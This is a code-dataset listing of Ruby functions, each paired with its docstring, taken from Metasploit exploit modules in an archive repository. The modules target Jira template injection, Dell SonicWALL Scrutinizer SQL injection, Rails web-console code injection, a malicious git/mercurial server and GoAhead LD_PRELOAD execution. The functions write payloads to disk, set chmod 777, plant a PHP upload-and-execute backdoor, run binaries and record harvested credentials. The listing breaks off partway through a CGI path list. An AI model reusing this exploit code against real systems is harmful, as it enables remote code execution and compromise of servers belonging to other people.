code
stringlengths 26
124k
| docstring
stringlengths 23
125k
| func_name
stringlengths 1
98
| language
stringclasses 1
value | repo
stringlengths 5
53
| path
stringlengths 7
151
| url
stringlengths 50
211
| license
stringclasses 7
values |
---|---|---|---|---|---|---|---|
def get_target_platform(cookie)
c = get_os_detection_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
|
Returns the target platform.
@param cookie [String] Jira cookie
@return [String]
|
get_target_platform
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_write_file_code(fname, p)
b64 = Rex::Text.encode_base64(p)
%Q| $i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{b64}')) |
end
|
Returns Java code that can be used to inject to the template in order to write a file.
@note This Java code is not able to properly close the file handle. So after using it, you should use #get_dup_file_code,
and then execute the new file instead.
@param fname [String] File to write to.
@param p [String] Payload
@return [String]
|
get_write_file_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_java_property_code(prop)
%Q| $i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{prop}').toString() |
end
|
Returns a system property for Java.
@param prop [String] Name of the property to retrieve.
@return [String]
|
get_java_property_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_jar_exec_code(java_path, war_path)
# A quick way to check platform instead of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === war_path
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_path, '/bin/java')
cmd_str = %Q|#{normalized_java_path} -jar #{war_path}|
else
normalized_java_path = Rex::FileUtils.normalize_win_path(java_path, '\\bin\\java.exe')
war_path.gsub!(/Program Files/, 'PROGRA~1')
cmd_str = %Q|cmd.exe /C #{normalized_java_path} -jar #{war_path}"|
end
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd_str}').waitFor() |
end
|
Returns the Java code to execute a jar file.
@param java_path [String] Java home path
@param war_path [String] The jar file to execute
@return [String]
|
get_jar_exec_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_exec_code(cmd)
%Q| $i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{cmd}').waitFor() |
end
|
Returns Java code that can be used to inject to the template in order to execute a file.
@param cmd [String] command to execute
@return [String]
|
get_exec_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_chmod_code(fname)
get_exec_code("chmod 777 #{fname}")
end
|
Returns Java code that can be used to inject to the template in order to chmod a file.
@param fname [String] File to chmod
@return [String]
|
get_chmod_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_dup_file_code(fname, new_fname)
if fname =~ /^\/[[:print:]]+/
cp_cmd = "cp #{fname} #{new_fname}"
else
cp_cmd = "cmd.exe /C copy #{fname} #{new_fname}"
end
get_exec_code(cp_cmd)
end
|
Returns Java code that can be used to inject to the template in order to copy a file.
@note The purpose of this method is to have a file that is not busy, so we can execute it.
It is meant to be used with #get_write_file_code.
@param fname [String] The file to copy
@param new_fname [String] The new file
@return [String]
|
get_dup_file_code
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def jira_cred_empty?
jira_username.blank? || jira_password.blank?
end
|
Returns a boolean indicating whether the module has a username and password.
@return [TrueClass] There is an empty cred.
@return [FalseClass] No empty cred.
|
jira_cred_empty?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def inject_template(p, cookie)
login_sid = get_cookie_as_hash(cookie)['JSESSIONID']
uri = normalize_uri(target_uri.path, 'rest', 'hipchat', 'integrations', '1.0', 'message', 'render')
uri << '/'
res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'cookie' => "JSESSIONID=#{login_sid}",
'ctype' => 'application/json',
'data' => { 'message' => p }.to_json
})
if !res
# This seems to trigger every time even though we're getting a shell. So let's downplay
# this a little bit. At least it's logged to allow the user to debug.
elog('Connection timed out in #inject_template')
elsif res && /Error report/ === res.body
print_error('Failed to inject and execute code:')
vprint_line(res.body)
elsif res
vprint_status("Server response:")
vprint_line res.body
end
res
end
|
Injects Java code to the template.
@param p [String] Code that is being injected.
@param cookie [String] A cookie that contains a valid JSESSIONID
@return [void]
|
inject_template
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def target_platform_compat?(target_platform)
target.platform.names.each do |n|
if /^java$/i === n || /#{n}/i === target_platform
return true
end
end
false
end
|
Checks if the target os/platform is compatible with the module target or not.
@return [TrueClass] Compatible
@return [FalseClass] Not compatible
|
target_platform_compat?
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def normalize_payload_fname(tmp_path, fname)
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.
if /^\/[[:print:]]+/ === tmp_path
Rex::FileUtils.normalize_unix_path(tmp_path, fname)
else
Rex::FileUtils.normalize_win_path(tmp_path, fname)
end
end
|
Returns the normalized file path for payload.
@return [String]
|
normalize_payload_fname
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_tmp_path(cookie)
c = get_temp_path_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
|
Returns a temp path from the remote target.
@param cookie [String] Jira cookie
@return [String]
|
get_tmp_path
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def get_java_home_path(cookie)
c = get_java_path_code
res = inject_template(c, cookie)
json = res.get_json_document
json['message'] || ''
end
|
Returns the Java home path used by Jira.
@param cookie [String] Jira cookie.
@return [String]
|
get_java_home_path
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def exploit_as_java(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
jar_fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")
jar = payload.encoded_jar
java_home = get_java_home_path(cookie)
register_files_for_cleanup(jar_fname)
if java_home.blank?
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')
else
print_status("Found Java home path: #{java_home}")
end
print_status("Attempting to write #{jar_fname}")
c = get_write_file_code(jar_fname, jar)
inject_template(c, cookie)
print_status("Executing #{jar_fname}")
c = get_jar_exec_code(java_home, jar_fname)
inject_template(c, cookie)
end
|
Exploits the target in Java platform.
@return [void]
|
exploit_as_java
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def exploit_as_windows(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
exe = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
exe_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
exe_new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")
exe_fname.gsub!(/Program Files/, 'PROGRA~1')
exe_new_fname.gsub!(/Program Files/, 'PROGRA~1')
register_files_for_cleanup(exe_fname, exe_new_fname)
print_status("Attempting to write #{exe_fname}")
c = get_write_file_code(exe_fname, exe)
inject_template(c, cookie)
print_status("New file will be #{exe_new_fname}")
c = get_dup_file_code(exe_fname, exe_new_fname)
inject_template(c, cookie)
print_status("Executing #{exe_new_fname}")
c = get_exec_code(exe_new_fname)
inject_template(c, cookie)
end
|
Exploits the target in Windows platform.
@return [void]
|
exploit_as_windows
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def exploit_as_linux(cookie)
tmp_path = get_tmp_path(cookie)
if tmp_path.blank?
fail_with(Failure::Unknown, 'Unable to get the temp path.')
end
fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))
register_files_for_cleanup(fname, new_fname)
print_status("Attempting to write #{fname}")
p = generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform)
c = get_write_file_code(fname, p)
inject_template(c, cookie)
print_status("chmod +x #{fname}")
c = get_exec_code("chmod 777 #{fname}")
inject_template(c, cookie)
print_status("New file will be #{new_fname}")
c = get_dup_file_code(fname, new_fname)
inject_template(c, cookie)
print_status("Executing #{new_fname}")
c = get_exec_code(new_fname)
inject_template(c, cookie)
end
|
Exploits the target in Linux platform.
@return [void]
|
exploit_as_linux
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/38905.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/38905.rb
|
MIT
|
def print_status(msg='')
super("#{peer} - #{msg}")
end
|
Prints a message with the target's IP and port.
@param msg [String] Message to print.
@return [void]
|
print_status
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def print_error(msg='')
super("#{peer} - #{msg}")
end
|
Prints an error message with the target's IP and port.
@param msg [String] Message to print.
@return [void]
|
print_error
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def pad_null(n)
padding = []
n.times do
padding << 'NULL'
end
padding * ','
end
|
Pads NULL columns for a SQL injection string.
@param n [Fixnum] Number of nulls
@return [String]
|
pad_null
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def check
begin
res = do_login
rescue Msf::Exploit::Failed => e
vprint_error(e.message)
return Exploit::CheckCode::Unknown
end
uid = res['userid']
sid = res['sessionid']
pattern = Rex::Text.rand_text_alpha(10)
sqli_str = "-6045 UNION ALL SELECT '#{pattern}',#{pad_null(19)}"
res = do_sqli(sqli_str, sid, uid).get_json_document
return Exploit::CheckCode::Vulnerable if res['id'].to_s == pattern
Exploit::CheckCode::Safe
end
|
Checks (explicitly) the target for the vulnerability. To be able to check this, a
valid username/password is required.
@return [void]
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def get_os(sid, uid)
sqli_str = "-6045 UNION ALL SELECT @@version_compile_os,#{pad_null(19)}"
res = do_sqli(sqli_str, sid, uid).get_json_document
res['id']
end
|
Returns the OS information by using @@version_compile_os.
@param sid [String] Session ID.
@param uid [String] User ID.
@return [String] The OS information.
|
get_os
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def get_d4d_path(os)
case os
when WINDOWS
# On Windows, the full d4d path looks something like this:
# C:\Program Files\Scrutinizer\html\d4d
'../../html/d4d'
when LINUX
# On the Linux appliance, the d4d path looks exactly like this:
'/home/plixer/scrutinizer/html/d4d'
end
end
|
Returns target's d4d directory path that will be used to upload our malicious files.
@param os [String] OS information.
@return [String]
|
get_d4d_path
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def do_login
res = send_request_cgi({
'uri' => normalize_uri(target_uri, '/cgi-bin/login.cgi'),
'vars_get' => {
'name' => datastore['USERNAME'],
'pwd' => datastore['PASSWORD']
}
})
unless res
fail_with(Failure::Unknown, 'The connection timed out while attempting to log in.')
end
res = res.get_json_document
if res['noldapnouser']
fail_with(Failure::NoAccess, "Username '#{datastore['USERNAME']}' is incorrect.")
elsif res['loginfailed']
fail_with(Failure::NoAccess, "Password '#{datastore['PASSWORD']}' is incorrect.")
end
report_cred(datastore['USERNAME'], datastore['PASSWORD'])
res
end
|
Logs into Dell SonicWALL Scrutinizer.
@return [Hash] JSON response.
|
do_login
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def report_cred(username, password)
service_data = {
address: rhost,
port: rport,
service_name: ssl ? 'https' : 'http',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: username,
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
|
Saves a valid username/password to database.
@param username [String]
@param password [String]
@return [void]
|
report_cred
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def do_sqli(method_detail, sid, uid)
res = send_request_cgi({
'uri' => normalize_uri(target_uri, '/d4d/exporters.php'),
'vars_get' => { 'methodDetail'=> method_detail },
'cookie' => "cookiesenabled=1;sessionid=#{sid};userid=#{uid}"
})
unless res
fail_with(Failure::Unknown, 'The connection timed out for exporters.php.')
end
res
end
|
Injects malicious SQL string to the methodDetail parameter against the target machine.
@param method_detail [String] Malicious SQL injection string.
@param sid [String] Session ID.
@param uid [String] User ID.
@return [Rex::Proto::Http::Response]
|
do_sqli
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def get_php_backdoor(os)
case os
when WINDOWS
chmod_code = %Q|chmod($bname, 0777);|
exec_code = %Q|exec($bname);|
when LINUX
chmod_code = %Q|chmod("./" . $bname, 0777);|
exec_code = %Q|exec("./" . $bname);|
end
%Q|<?php
$bname = basename( $_FILES['uploadedfile']['name']);
$target_path = "./" . $bname;
move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path);
#{chmod_code}
#{exec_code}
?>
|.gsub(/\x20{4}/, ' ')
end
|
Returns a PHP backdoor that is to be uploaded onto the target machine.
@param os [String] Target OS information.
@param target_path [String]
@return [String] PHP backdoor
|
get_php_backdoor
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def upload_payload(backdoor_fname, payload_fname)
p = generate_payload_exe(
code: payload.encoded,
platform: @my_target.platform,
arch: @my_target.arch
)
print_status("Uploading #{payload_fname} (#{p.length} bytes)...")
post_data = Rex::MIME::Message.new
post_data.add_part(
p,
'application/octet-stream',
'binary',
"form-data; name=\"uploadedfile\"; filename=\"#{payload_fname}\""
)
data = post_data.to_s
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, "/d4d/#{backdoor_fname}"),
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'data' => data
})
unless res
# Here we are not using fail_with, because when we get a session, it seems to be creating
# the same effect as connection hanging... and then eventually times out. If that
# happens, a fail_with() can cause msfconsole to believe there is no session created.
vprint_status('Connection timed out while uploading payload.')
return
end
if res.code == 404
fail_with(Failure::Unknown, "Server returned 404 for #{backdoor_fname}.")
end
end
|
Uploads the executable payload via malicious PHP backdoor.
@param backdoor_fname [String] Name of the backdoor
@param payload_fname [String] Name of the executable payload
@return [void]
|
upload_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def do_backdoor_sqli(os, sid, uid)
backdoor_fname = "#{Rex::Text.rand_text_alpha(6)}.php"
payload_fname = Rex::Text.rand_text_alpha(5)
payload_fname << '.exe' if @my_target['Platform'].match(WINDOWS)
d4d_path = get_d4d_path(os)
register_files_for_cleanup(backdoor_fname, payload_fname)
opts = {
d4d_path: d4d_path,
backdoor_fname: backdoor_fname,
payload_fname: payload_fname,
sid: sid,
uid: uid,
os: os
}
upload_php_backdoor(opts)
upload_payload(backdoor_fname, payload_fname)
end
|
Attempts a SQL injection attack against the target machine.
@param os [String] OS information.
@param sid [String] Session ID.
@param uid [String] User ID.
@return [void]
|
do_backdoor_sqli
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def try_set_target(os)
@my_target = target if target != targets[0]
case os
when WINDOWS
@my_target = targets[1]
when LINUX
@my_target = targets[2]
else
fail_with(Failure::NoTarget, 'Unsupported target')
end
end
|
Tries to set the target. If the user manually set one, then avoid automatic target.
@param os [String] OS information.
@return [void]
|
try_set_target
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def exploit
res = do_login
uid = res['userid']
sid = res['sessionid']
os = get_os(sid, uid)
print_status("Detected OS information: #{os}")
try_set_target(os)
do_backdoor_sqli(os, sid, uid)
end
|
Exploits the target machine. To do this, first we must log into the system in order to obtain
the user ID and session ID. After logging in, we can ask the vulnerable code to upload a
malicious PHP backdoor, and then finally use that backdoor to upload and execute our payload.
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/39836.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/39836.rb
|
MIT
|
def on_request_uri(cli, request)
#print_status("on_request_uri called: #{request.inspect}")
if (not @pl)
print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
return
end
print_status("#{peer} - Sending the payload to the device...")
@elf_sent = true
send_response(cli, @pl)
end
|
Handle incoming requests from the server
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/40805.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/40805.rb
|
MIT
|
def get_path(sha1)
sha1[0...2] + '/' + sha1[2..40]
end
|
Returns the Git object path name that a file with the provided SHA1 will reside in
|
get_path
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41684.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41684.rb
|
MIT
|
def on_request_uri(cli, req)
# if the URI is one of our repositories and the user-agent is that of git/mercurial
# send back the appropriate data, otherwise just show the HTML version
if (user_agent = req.headers['User-Agent'])
if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
do_git(cli, req)
return
elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
do_mercurial(cli, req)
return
end
end
do_html(cli, req)
end
|
handles routing any request to the mock git, mercurial or simple HTML as necessary
|
on_request_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41684.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41684.rb
|
MIT
|
def do_html(cli, _req)
resp = create_response
resp.body = <<HTML
<html>
<head><title>Public Repositories</title></head>
<body>
<p>Here are our public repositories:</p>
<ul>
HTML
if datastore['GIT']
this_git_uri = URI.parse(get_uri).merge(git_uri)
resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
else
resp.body << "<li><a>Git</a> (currently offline)</li>"
end
if datastore['MERCURIAL']
this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
else
resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
end
resp.body << <<HTML
</ul>
</body>
</html>
HTML
cli.send_response(resp)
end
|
simulates an HTTP server with simple HTML content that lists the fake
repositories available for cloning
|
do_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41684.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41684.rb
|
MIT
|
def git_uri
return @git_uri if @git_uri
if datastore['GIT_URI'].blank?
@git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
else
@git_uri = datastore['GIT_URI']
end
end
|
Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
|
git_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41684.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41684.rb
|
MIT
|
def mercurial_uri
return @mercurial_uri if @mercurial_uri
if datastore['MERCURIAL_URI'].blank?
@mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
else
@mercurial_uri = datastore['MERCURIAL_URI']
end
end
|
Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
|
mercurial_uri
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41684.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41684.rb
|
MIT
|
def exploit
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'headers' => {
'X-Forwarded-For' => '0000::1'
}
}, 25)
unless res
print_error("Error: No response requesting #{datastore['TARGETURI']}")
return
end
web_console_path = nil
# Support vulnerable Web Console versions
if res.body.to_s =~ /data-remote-path='([^']+)'/
web_console_path = "/" + $1
end
# Support newer Web Console versions
if web_console_path.nil? && res.body.to_s =~ /data-mount-point='([^']+)'/
web_console_mount = $1
unless res.body.to_s =~ /data-session-id='([^']+)'/
print_error("Error: No session id found requesting #{datastore['TARGETURI']}")
return
end
web_console_path = normalize_uri(web_console_mount, 'repl_sessions', $1)
end
unless web_console_path
if res.body.to_s.index('Application Trace') && res.body.to_s.index('Toggle session dump')
print_error('Error: The web console is patched, disabled, or you are not in the whitelisted scope')
else
print_error("Error: No web console path found when requesting #{datastore['TARGETURI']}")
end
return
end
print_status("Sending payload to #{web_console_path}")
res = send_request_cgi({
'uri' => web_console_path,
'method' => 'PUT',
'headers' => {
'X-Forwarded-For' => '0000::1',
'Accept' => 'application/vnd.web-console.v2',
'X-Requested-With' => 'XMLHttpRequest'
},
'vars_post' => {
'input' => payload.encoded
}
}, 25)
end
|
Identify the web console path and session ID, then inject code with it
|
exploit
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41689.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41689.rb
|
MIT
|
def fix(jsp)
output = ""
jsp.each_line do |l|
if l =~ /<%.*%>/
output << l
elsif l =~ /<%/
next
elsif l=~ /%>/
next
elsif l.chomp.empty?
next
else
output << "<% #{l.chomp} %>"
end
end
output
end
|
Fix the JSP payload to make it valid once is dropped
to the log file
|
fix
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/41690.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/41690.rb
|
MIT
|
def setup
super
@@payload_arch_mappings = {
ARCH_X86 => [ 'x86' ],
ARCH_X64 => [ 'x86_64' ],
ARCH_MIPS => [ 'mips' ],
ARCH_MIPSLE => [ 'mipsel' ],
ARCH_MIPSBE => [ 'mips' ],
ARCH_MIPS64 => [ 'mips64' ],
ARCH_MIPS64LE => [ 'mips64el' ],
# PowerPC stubs are currently over the 16384 maximum POST size
# ARCH_PPC => [ 'powerpc' ],
# ARCH_PPC64 => [ 'powerpc64' ],
# ARCH_PPC64LE => [ 'powerpc64le' ],
ARCH_SPARC => [ 'sparc' ],
ARCH_SPARC64 => [ 'sparc64' ],
ARCH_ARMLE => [ 'armel', 'armhf' ],
ARCH_AARCH64 => [ 'aarch64' ],
ARCH_ZARCH => [ 's390x' ],
}
# Architectures we don't offically support but can shell anyways with interact
@@payload_arch_bonus = %W{
mips64el sparc64 s390x
}
# General platforms (OS + C library)
@@payload_platforms = %W{
linux-glibc
}
end
|
Setup our mapping of Metasploit architectures to gcc architectures
|
setup
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def cycle_possible_payloads
template_base = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2017-17562")
template_list = []
template_type = nil
template_arch = nil
# Handle the generic command types first
if target.arch.include?(ARCH_CMD)
# Default to a system() template
template_type = 'system'
# Handle reverse_tcp() templates
if target['ReverseStub']
template_type = 'reverse'
end
# Handle reverse_tcp() templates
if target['BindStub']
template_type = 'bind'
end
all_architectures = @@payload_arch_mappings.values.flatten.uniq
# Prioritize the most common architectures first
%W{ x86_64 x86 armel armhf mips mipsel }.each do |t_arch|
template_list << all_architectures.delete(t_arch)
end
# Queue up the rest for later
all_architectures.each do |t_arch|
template_list << t_arch
end
# Handle the specific architecture targets next
else
template_type = 'shellcode'
target.arch.each do |t_name|
@@payload_arch_mappings[t_name].each do |t_arch|
template_list << t_arch
end
end
end
# Remove any duplicates that may have snuck in
template_list.uniq!
# Cycle through each top-level platform we know about
@@payload_platforms.each do |t_plat|
# Cycle through each template and yield
template_list.each do |t_arch|
wrapper_path = ::File.join(template_base, "goahead-cgi-#{template_type}-#{t_plat}-#{t_arch}.so.gz")
unless ::File.exist?(wrapper_path)
raise RuntimeError.new("Missing executable template at #{wrapper_path}")
end
data = ''
::File.open(wrapper_path, "rb") do |fd|
data = Rex::Text.ungzip(fd.read)
end
pidx = data.index('PAYLOAD')
if pidx
data[pidx, payload.encoded.length] = payload.encoded
end
if %W{reverse bind}.include?(template_type)
pidx = data.index("55555")
if pidx
data[pidx, 5] = datastore['LPORT'].to_s.ljust(5)
end
end
if 'reverse' == template_type
pidx = data.index("000.000.000.000")
if pidx
data[pidx, 15] = datastore['LHOST'].to_s.ljust(15)
end
end
vprint_status("Using payload wrapper 'goahead-cgi-#{template_type}-#{t_arch}'...")
yield(data)
# Introduce a small delay for the payload to stage
Rex.sleep(0.50)
# Short-circuit once we have a session
return if session_created?
end
end
end
|
Use fancy payload wrappers to make exploitation a joyously lazy exercise
|
cycle_possible_payloads
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def check
# Find a valid CGI target
target_uri = find_target_cgi
unless target_uri
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Vulnerable
end
|
Determine whether the target is exploitable
|
check
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def trigger_payload(target_uri, wrapped_payload)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri),
'vars_get' => {
'LD_PRELOAD' => '/proc/self/fd/0'
},
'data' => wrapped_payload
})
nil
end
|
Upload and LD_PRELOAD execute the shared library payload
|
trigger_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/multiple/remote/43877.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/multiple/remote/43877.rb
|
MIT
|
def find_target_cgi
target_uris = []
common_dirs = %W^
/
/cgi-bin/
/cgi/
^
common_exts = ["", ".cgi"]
common_cgis = %W^
admin
apply
non-CA-rev
checkCookie
check_user
chn/liveView
cht/liveView
cnswebserver
config
configure/set_link_neg
configure/swports_adjust
eng/liveView
firmware
getCheckCode
get_status
getmac
getparam
guest/Login
home
htmlmgr
index
index/login
jscript
kvm
liveView
login
login.asp
